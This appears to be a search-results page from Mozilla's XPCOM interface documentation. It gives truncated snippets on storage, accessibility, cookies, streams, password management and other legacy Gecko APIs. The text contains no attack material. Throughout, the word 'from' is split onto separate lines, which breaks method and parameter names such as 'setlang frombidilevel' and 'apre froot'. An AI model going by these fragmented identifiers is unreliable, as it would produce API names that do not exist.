mozIStorageRow
the mozistoragerow interface represents a row in the result set
from a storage database query.
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: mozistoragevaluearray method overview nsivariant getresultbyindex(in unsigned long aindex); nsivariant getresultbyname(in autf8string aname); methods getresultbyindex() returns the value
from a specific column in the row, using a zero-based index to identify the column.
...getresultbyname() returns the value
from a specific column in the row, identifying the column by name.
mozIStorageStatementCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview void handlecompletion(in unsigned short areason); void handleerror(in mozistorageerror aerror); void handleresult(in mozistorageresultset aresultset); constants constant value description reason_finished 0 the statement has finished executing normally.
... handleresult() called when results
from the statement are available.
... void handleresult( in mozistorageresultset aresultset ); parameters aresultset an mozistorageresultset object describing the available results
from the statement's execution.
mozIThirdPartyUtil
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean isthirdpartychannel(in nsichannel achannel, [optional] in nsiuri auri); boolean isthirdpartyuri(in nsiuri afirsturi, in nsiuri aseconduri); boolean isthirdpartywindow(in nsidomwindow awindow, [optional] in nsiuri auri); methods isthirdpartychannel() determine whether the given channel and its content window hierarchy is third party.
...obtain the bottommost nsidomwindow, and its same-type parent if it exists,
from the channel's notification callbacks.
...(this means that nested i
frames with different base domains, even though the bottommost and topmost uris might be equal, will be considered third party.) for example, if auri is "http://mail.google.com/", 'awindow' has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true.
nsIAccessibleDocument
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can queryinterface to nsiaccessibledocument
from the nsiaccessible or nsiaccessnode for the root node of a document.
... you can also get one
from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method overview nsiaccessible getaccessibleinparentchain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in voidptr auniqueid); native code only!
...note: renamed
from document in gecko 2.0 iseditable boolean true if the document is live in an editor.
nsIAccessibleImage
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void getimageposition(in unsigned long coordtype, out long x, out long y); void getimagesize(out long width, out long height); methods getimageposition() returns the coordinates of the image accessible.
... exceptions thrown ns_error_failure indicates that the accessible is unattached
from the accessible tree.
... exceptions thrown ns_error_failure indicates that the accessible is unattached
from the accessible tree.
nsIAccessibleSelectable
inherits
from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechild
fromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected.
...removechild
fromselection() removes the specified child of the object
from the object's selection.
...void removechild
fromselection( in long index ); parameters index zero-based accessible child index.
nsIAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview boolean isselected(); attributes attribute type description columnextent long return the number of columns occupied by this cell.
... the result differs
from 1 if the specified cell spans multiple columns.
...the result differs
from 1 if the specified cell spans multiple rows.
nsIArray
inherits
from: nsisupports last changed in gecko 1.7 an indexed collection of elements.
...neither interface makes any attempt to protect the individual elements
from modification.
...documentation within a specific interface should describe variations
from this convention.
nsIAsyncOutputStream
inherits
from: nsioutputstream last changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to.
...it is safe to call asyncwait again
from the notification handler.
...if the output end of a pipe is closed, then reads
from the input end of the pipe will fail.
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification callbacks or similar.
...this means prompts that are guaranteed to want the same authentication information
from the user.
... note: exceptions thrown
from this function will be treated like a return value of false.
nsIBidiKeyboard
a user is a bidirectional writer if they have keyboard layouts in both left-to-right and right-to-left directions (that is users who use arabic, iranian (persian), or israel (hebrew) keyboard layout, beside an us (english) layout.) inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview boolean islangrtl(); void setlang
frombidilevel(in pruint8 alevel); attributes attribute type description havebidikeyboards boolean indicates whether or not the system has at least one keyboard for each direction (left-to-right and right...
... setlang
frombidilevel() sets the keyboard language to left-to-right or right-to-left.
... (supported on: win32) void setlang
frombidilevel( in pruint8 alevel ); parameters alevel if odd set the keyboard to right-to-left, if even set left-to-right.
nsICRLManager
inherits
from: nsisupports last changed in gecko 1.7 method overview wstring computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void reschedulecrlautoupdate(); boolean updatecrl
fromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_
freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime(...
...updatecrl
fromurl() update an existing crl
from the last fetched url.
...boolean updatecrl
fromurl( in wstring url, in wstring key ); parameters url key return value ...
nsICache
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports constants constant value description access_none 0 access granted - no descriptor is provided.
...access granted - you can read
from this descriptor.
...if you determine that it is not, then you would mark the cache entry as valid (using markvalid) and then simply read the data
from the cache.
nsICharsetResolver
inherits
from: nsisupports last changed in gecko 1.7 method overview void notifyresolvedcharset(in acstring charset, in nsisupports closure); acstring requestcharset(in nsiwebnavigation awebnavigation, in nsichannel achannel, out boolean awantcharset, out nsisupports aclosure); methods notifyresolvedcharset() some implementations may request that they be notified when the charset is actually detected.
... requestcharset() called to resolve the charset that should be used for parsing the document being loaded
from achannel.
...achannel the channel the document is coming in
from.
nsIContentView
content/base/public/nsi
frameloader.idlscriptable represents a scrollable content view whose contents are actually drawn by a separate process; this is part of the electrolysis multi-process support
framework.
... 1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with content views for details on how to use this api.
... note: currently, only <
frame> and <i
frame> elements are handled as content views.
nsICookieConsent
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void getconsent(); methods getconsent() gives a decision on what should be done with a cookie, based on a site's p3p policy and the user's preferences.
... httpchannel the channel to extract the p3p headers
from.
... isforeign true if the cookie originates
from a third-party site.
nsICookiePromptService
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview long cookiedialog(in nsidomwindow parent, in nsicookie cookie, in acstring hostname, in long cookies
fromhost, in boolean changingcookie, out boolean rememberdecision); constants constant value description deny_cookie 0 holds the value for a denying the cookie.
... long cookiedialog( in nsidomwindow parent, in nsicookie cookie, in acstring hostname, in long cookies
fromhost, in boolean changingcookie, out boolean rememberdecision ); parameters parent the parent window for the dialog.
...cookies
fromhost the number of cookies there are already for this host.
nsICycleCollectorListener
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the order of calls will be call to begin(); then for every node in the graph a call to noteobject() and calls to noteedge() for every edge starting at that node; then a call to begindescriptions(); then for every black node in the cycle collector graph a call to either describerefcountedobject() or to describegcedobject(); and then a call to end().
...method overview void begin(); void begindescriptions(); void describegcedobject(in unsigned long long aaddress, in boolean amarked); void describerefcountedobject(in unsigned long long aaddress, in unsigned long aknownedges, in unsigned long atotaledges); void end(); void noteedge(in unsigned long long a
fromaddress, in unsigned long long atoaddress, in string aedgename); void noteobject(in unsigned long long aaddress, in string aobjectdescription); methods begin() void begin(); parameters none.
...noteedge() void noteedge( in unsigned long long a
fromaddress, in unsigned long long atoaddress, in string aedgename ); parameters a
fromaddress atoaddress aedgename noteobject() void noteobject( in unsigned long long aaddress, in string aobjectdescription ); parameters aaddress aobjectdescription ...
nsIDOMFile
the nsidomfile interface retrieves data
from a file submitted to a form using the input type "file".
... note that in gecko, this interface currently inherits
from nsisupports, but in the file api specification, it should be a blob.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports this interface implements the dom file object; for complete documentation, read up on that.
nsIDOMHTMLTimeRanges
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits
from: nsisupports method overview float start(in unsigned long index); float end(in unsigned long index); attributes attribute type description length unsigned long the number of ranges represented by the nsidomhtmltimeranges object.
... return value the time at which the specified range ends, in seconds measured
from the beginning of the timeline represented by the object.
... return value the time at which the specified range starts, in seconds measured
from the beginning of the timeline represented by the object.
nsIDOMMozTouchEvent
this provides a mechanism for working with events
from touch screens.
... this differs
from tracking mouse events in that touch events can be generated independently for each finger touching the screen.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits
from: nsidommouseevent method overview void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, ...
nsIDOMNSHTMLDocument
inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...roughly equivalent to body.contenteditable domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents
from different sites in the same domain.
...for the gethtml command, the current selection is returned as an html source
fragment.
nsIDOMOrientationEvent
the nsidomorientationevent interface describes the event that can be delivered to dom windows, providing information
from the device's accelerometer, allowing code to determine the orientation of the device.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
... the values of x, y, and z can range
from -1 to 1, where 0 means the device is balanced on that axis.
nsIDOMProgressEvent
1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits
from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download.
... methods initprogressevent() deprecated since gecko 22.0 this method has been removed
from use in javascript in gecko 22.0.
... it still is usable
from native c++ code.
nsIDOMStorageItem
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; previously, it was also used for global storage.
...note: all items, regardless of whether they were stored for an http page or an https page, are visible
from https pages.
... however, http pages can only see items stored
from http pages, and will not see items stored
from https pages.
nsIDOMStorageWindow
all dom windows inherit
from this interface.
... 1.0 66 introduced gecko 1.8.1 obsolete gecko 8.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed.
...data stored in local storage may only be accessed
from the same origin that inserted the data into storage in the first place.
nsIDOMWindow2
it represents a single window object that may contain child windows if the document in the window contains an html
frameset document, or if the document contains <i
frame> elements.
... inherits
from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is
frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
...not accessible
from scripts.
nsIDownloadProgressListener
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) to use simply implement this interface in your code, then call nsidownloadmanager.addlistener() to start listening.
...signed long astateflags, in nsresult astatus, in nsidownload adownload); void onstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage, in nsidownload adownload); obsolete since gecko 1.9.1 attributes attribute type description document nsidomdocument document the document of the download manager
frontend.
...you can get the new state of the download
from this object.
nsIDynamicContainer
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened.
...this only happens when the container itself goes
from the open state to the closed state.
... oncontainerremoving() this method is called when the given container is about to be deleted
from the bookmarks table, so that the service can do any necessary cleanup.
nsIExternalHelperAppService
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/uriloader/external-helper-app-service;1.
...od overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded
from the specified encoding type before being saved or delivered to helper applications.
... return value true if data
from urls with the specified extension and encoding should be decoded prior to saving the file or delivering it to a helper application; otherwise false.
nsIFactory
inherits
from: nsisupports last changed in gecko 0.9.5 method overview void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with this factory.
... this interface was
frozen for gecko 0.9.5.
...
from gecko 2.0 interfaces are no longer
frozen.
nsIFeedEntry
1.0 66 introduced gecko 1.8 inherits
from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description content nsifeedtextconstruct the full text of the entry's content.
... this comes
from the atom:content and/or content:encoded fields.
...note, that the related updated attribute is available
from the nsifeedcontainer interface.
nsIFilePicker
inherits
from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) implemented by: @mozilla.org/filepicker;1.
...the filter appended first will be used to display the nsifilepicker dialog, the user may then select another
from the list.
... example some example filter strings: "*.ics" "*.txt; *.doc; *.rtf" appendfilters() appends a list of file extension filters,
from the predefined list, to the dialog.
nsIGlobalHistory3
1.0 66 introduced gecko 1.8 obsolete gecko 9.0 inherits
from: nsiglobalhistory2 last changed in gecko 1.9 (firefox 3) this interface was originally created as part of nsiglobalhistory2, but was split off during the transition to places.
...implementors who wish to implement this interface but rely on nsiglobalhistory2.adduri() for redirect processing may throw ns_error_not_implemented
from this method.
...if false, the load is in a sub
frame.
nsIIDNService
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/idn-service;1 as a service: var idnservice = components.classes["@mozilla.org/network/idn-service;1"] .getservice(components.interfaces.nsiidnservice); method overview autf8string convertacetoutf8(in acstring input); autf8string converttodisplayidn(in autf8string input, out boolean isascii); acstring convertutf8toace(in autf8string input); boolean isace(in acstring input); autf8string normalize(in autf8string input); methods convertacetoutf8() converts an ac...
...convertutf8toace() converts the specified hostname
from utf-8 to ace format, using the idna "toascii" algorithm.
...this is useful if you need to normalize a hostname separately
from converting it to display format.
nsIINIParser
xpcom/ds/nsiiniparser.idlscriptable an instance of nsiiniparser can be used to read values
from an ini file.
... inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) typically, you'll create an nsiiniparser object by calling nsiiniparserfactory.createiniparser().
.../** * returns the value for a given property in an ini file * @param {nsifile} inifile * the ini file to get the value
from * @param {string} section * the name of the section in the ini file.
nsILoginManagerIEMigrationHelper
toolkit/components/passwordmgr/public/nsiloginmanageriemigrationhelper.idlscriptable imports a login
from the nsiieprofilemigrator into the login manager.
... 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void migrateandaddlogin(in nsilogininfo alogin); methods migrateandaddlogin() takes a login provided
from nsieprofilemigrator, migrates it to the current login manager format, and adds it to the list of stored logins.
... note: in some cases, multiple logins may be created
from a single input when the format is ambiguous.
nsIMacDockSupport
1.0 66 introduced gecko 2.0 inherits
from: nsimacdocksupport last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) implemented by: @mozilla.org/cookie-monster;1.
... methods activateapplication() activates the application, making it the
frontmost application.
...em'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) services.appshell.hiddendomwindow.document.getelementbyid('menu_mac_dockmenu').appendchild(macmenuitem) this adds the "show most recent window" menuitem
from the previous example as a third item.
nsIMessageListener
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsisupports this interface is used to receive messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
...this function receives a message
from one of the three message-sending functions in the message manager
framework: broadcastasyncmessage sendasyncmessage sendsyncmessage.
... if the message was sent
from a
frame script using a nsicontent
framemessagemanager, then this property is the xul <browser> element for the
frame
from which the message was sent.
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsimessagelistenermanager message senders enable clients to send asynchronous messages to a single "other side".
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process
frame but the other process has not yet been set up.
... for example, we will throw ns_error_failure if we try to send a message to a cross-process
frame whose process has crashed.
nsIMessageWakeupService
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13).
... the parentprocessmessagemanager is used for this, so messages send
from childprocessmessagemanagers will be heard.
...currently, services must expose a wrappedjsobject in order to support this; however, once bug 593407 is fixed, the service to be woken up must implement nsi
framemessagelistener.
nsIMicrosummary
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); boolean equals(in nsimicrosummary aother); void removeobserver(in nsimicrosummaryobserver observer); void update(); attributes attribute type description content astring the content of the microsumma...
... updateinterval long the minimum interval after which this microsummary would like to be re
freshed or null if it doesn't care.
... note: this method returns false if either objects don't have a generator removeobserver() remove a microsummary observer
from this microsummary.
nsIMicrosummaryGenerator
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
...it tells us where the generator comes
from and where to go for updates.
...for generators installed via nsisidebar.addmicrosummarygenerator(), this uri is a urn of the form urn:source:<url>, where <url> is the remote location
from which we installed the generator.
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides access to sets of microsummaries returned
from the nsimicrosummaryservice.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosummaryobserver observer); methods addobserver() add a microsummary observer to this microsummary set.
...removeobserver() remove a microsummary observer
from this microsummary.
nsIMsgCustomColumnHandler
last changed in gecko 1.9 (firefox 3) inherits
from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial.
... the interface inherits
from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods.
... you must implement: nsitreeview.iseditable() nsitreeview.getcellproperties() nsitreeview.getimagesrc() nsitreeview.getcelltext() nsitreeview.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties()
from c++ you must implement all of nsitreeview and nsimsgcustomcolumnhandler.
nsIMsgThread
inherits
from: nsisupports method overview void addchild(in nsimsgdbhdr child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); nsimsgdbhdr getchildat(in long index); nsmsgkey getchildkeyat(in long index); nsimsgdbhdr getchild(in nsmsgkey msgkey); nsimsgdbhdr getchildhdrat(in long index); nsimsgdbhdr getroothdr(out long index); void removechildat(in long index); void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); void markchildread(in boolean bread); nsimsgdbhdr getfirstunreadchild(); nsisimpleenumerator enumeratemessages(in nsmsgkey parent); ...
... nsimsgdbhdr getchildat(in long index); parameters index the index to get the message
from getchildkeyat() nsmsgkey getchildkeyat(in long index); parameters index the index to get the key
from getchild() nsimsgdbhdr getchild(in nsmsgkey msgkey); parameters msgkey the index to get the key
from getchildhdrat() nsimsgdbhdr getchildhdrat(in long index); parameters index the index to get the message
from.
... removechildat() void removechildat(in long index); parameters index the index to remove the message
from removechildhdr() void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); parameters child the message to remove announcer an nsidbchangeannouncer to receive notification when the change is made.
nsINavHistoryVisitResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable this interface describes a result
from a result_type_visit query on the places service.
...this interface provides the session id so that it's possible to group items
from the same session together.
... 1.0 66 introduced gecko 1.9 inherits
from: nsinavhistoryresultnode last changed in gecko 1.9 (firefox 3) attributes attribute type description sessionid long long the session id of the visit, used for session grouping when a tree view is sorted by date.
nsIPasswordManager
netwerk/base/public/nsipasswordmanager.idlscriptable used to interface with the built-in password manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits
from: nsisupports last changed in gecko 1.0 see using nsipasswordmanager for examples.
... addreject() blocks a hostname
from having its passwords saved.
... removereject() unblocks a hostname
from having its passwords saved.
nsIPipe
inherits
from: nsisupports last changed in gecko 1.6 method overview void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type description inputstream nsiasyncinputstream the pipe's input end, which also implements nsisearchableinputstream.
...for example, a worker thread might write data to a pipe
from which the main thread will read.
...for example, if you try to read
from an empty pipe that has not yet been closed, then if that pipe's input end is non-blocking, then the read call will fail immediately with ns_base_stream_would_block as the error condition.
nsIPlacesView
methods getdragableselection() returns an array of selected nsinavhistoryresultnode objects that can be dragged
from the view.
... getremovableselectionranges() returns an array whose elements are themselves arrays of nsinavhistoryresultnode objects that can be removed
from the view.
...the nodes are not necessarily returned in the same order in which they occur in the model, or in the same container, or
from the same provider.
nsIPrefService
inherits
from: nsisupports last changed in gecko 1.7 method overview nsiprefbranch getbranch(in string apre
froot); nsiprefbranch getdefaultbranch(in string apre
froot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user p...
... nsiprefbranch getbranch( in string apre
froot ); parameters apre
froot the preference root tree on which to base this branch.
... nsiprefbranch getdefaultbranch( in string apre
froot ); parameters apre
froot the preference root tree on which to base this branch.
nsIPrinterEnumerator
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void displaypropertiesdlg(in wstring aprinter, in nsiprintsettings aprintsettings); void enumerateprinters(out pruint32 acount,[retval, array, size_is(acount)] out wstring aresult); obsolete since gecko 1.9 void initprintsettings
fromprinter(in wstring aprintername, in nsiprintsettings aprintsettings); attributes attribute type description defaultprintername wstring the name of the system default printer.
... initprintsettings
fromprinter() initializes certain settings
from the native printer into the printsettings these settings include, but are not limited to: page orientation, page size, number of copies.
... void initprintsettings
fromprinter( in wstring aprintername, in nsiprintsettings aprintsettings ); parameters aprintername aprintsettings ...
nsIPropertyBag
inherits
from: nsisupports last changed in gecko 1.0 method overview nsivariant getproperty(in astring name); attributes attribute type description enumerator nsisimpleenumerator get a nsisimpleenumerator whose elements are nsiproperty objects.
...goodies obtained
from window.navigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwr...
...appednative_nohelper mozpay:null mozpermissionsettings:null mozphonenumberservice:phonenumberservice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt 5.1; rv:30.0) gecko/20100101 firefox/30.0" vendor:"" vendorsub:"" __proto__:navigatorprototype
from here we can easily see the operating system version.
nsIProtocolProxyCallback
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable() this method is called when proxy info is available or when an error in the proxy resolution occurs.
... void onproxyavailable( in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus ); parameters arequest the value returned
from asyncresolve.
...the value returned
from asyncresolve.
nsIPushMessage
inherits
from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) nsipushmessage is the subject of a push-message observer notification.
... this interface resembles pushmessagedata
from the push api.
...when called
from javascript, nsipushmessage.binary() returns data.
nsIRequestObserver
inherits
from: nsisupports last changed in gecko 1.0 method overview void onstartrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods onstartrequest() called to signify the beginning of an asynchronous request.
... note: an exception thrown
from onstartrequest has the side-effect of causing the request to be canceled.
...note: an exception thrown
from onstoprequest is generally ignored.
nsISecurityCheckedComponent
caps/idl/nsisecuritycheckedcomponent.idlscriptable provides methods that let an xpcom component define custom rules for accessing it
from potentially unprivileged code.
... inherits
from: nsisupports last changed in gecko 1.7 capability strings in gecko, a "capability" is a string identifying a set of actions that code is allowed to perform.
...code that has the "universalbrowserread" capability is allowed to perform certain actions that allow it to read information
from the local system.
nsISeekableStream
inherits
from: nsisupports last changed in gecko 1.7 method overview void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the start of the stream.
... tell() this method reports the current offset, in bytes,
from the start of the stream.
...return value the current offset, in bytes,
from the start of the stream.
nsIServerSocket
last changed in gecko 1.6 inherits
from: nsisupports implemented by: @mozilla.org/network/server-socket;1.
...this does not affect already connected client sockets (i.e., the nsisockettransport instances created
from this server socket).
...otherwise, it will accept connections
from any interface.
nsIServiceManager
inherits
from: nsisupports last changed in gecko 1.0 method overview void getservice(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getservicebycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); boolean isserviceinstantiated(in nscidref aclass, in nsiidref aiid); boolean isserviceinstantiatedbycontractid(in string acontractid, in nsiidref aiid); methods getservice() this method returns a reference to a particular xpcom s...
... this interface was
frozen for gecko 1.0.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISimpleEnumerator
inherits
from: nsisupports last changed in gecko 0.9.6 method overview nsisupports getnext(); boolean hasmoreelements(); methods getnext() called to retrieve the next element in the enumerator.
...remarks this interface was
frozen for gecko 0.9.6.
...
from gecko 2.0 interfaces are no longer
frozen.
nsIStreamListener
inherits
from: nsirequestobserver last changed in gecko 1.0 classes which want to consume data
from a nsichannel need to implement this interface.
...the data can be read
from the nsiinputstream object passed as the argument to this method.
...ainputstream an nsiinputstream
from which the data is to be read.
nsIStyleSheetService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports implemented by: @mozilla.org/content/style-sheet-service;1.
...siuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); constants constant value description agent_sheet 0 user_sheet 1 author_sheet 2 methods loadandregistersheet() synchronously loads a style sheet
from sheeturi and adds it to the list of user or agent style sheets.
...unregistersheet() remove the style sheet at sheeturi
from the list of style sheets specified by type.
nsISupportsArray
inherits
from: nsicollection last changed in gecko 1.7 method overview boolean appendelements(in nsisupportsarray aelements); violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex); violates the xpcom interface guidelines boolean enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); viola...
...he xpcom interface guidelines boolean insertelementat(in nsisupports aelement, in unsigned long aindex); violates the xpcom interface guidelines boolean insertelementsat(in nsisupportsarray aother, in unsigned long aindex); violates the xpcom interface guidelines long lastindexof([const] in nsisupports apossibleelement); violates the xpcom interface guidelines boolean moveelement(in long a
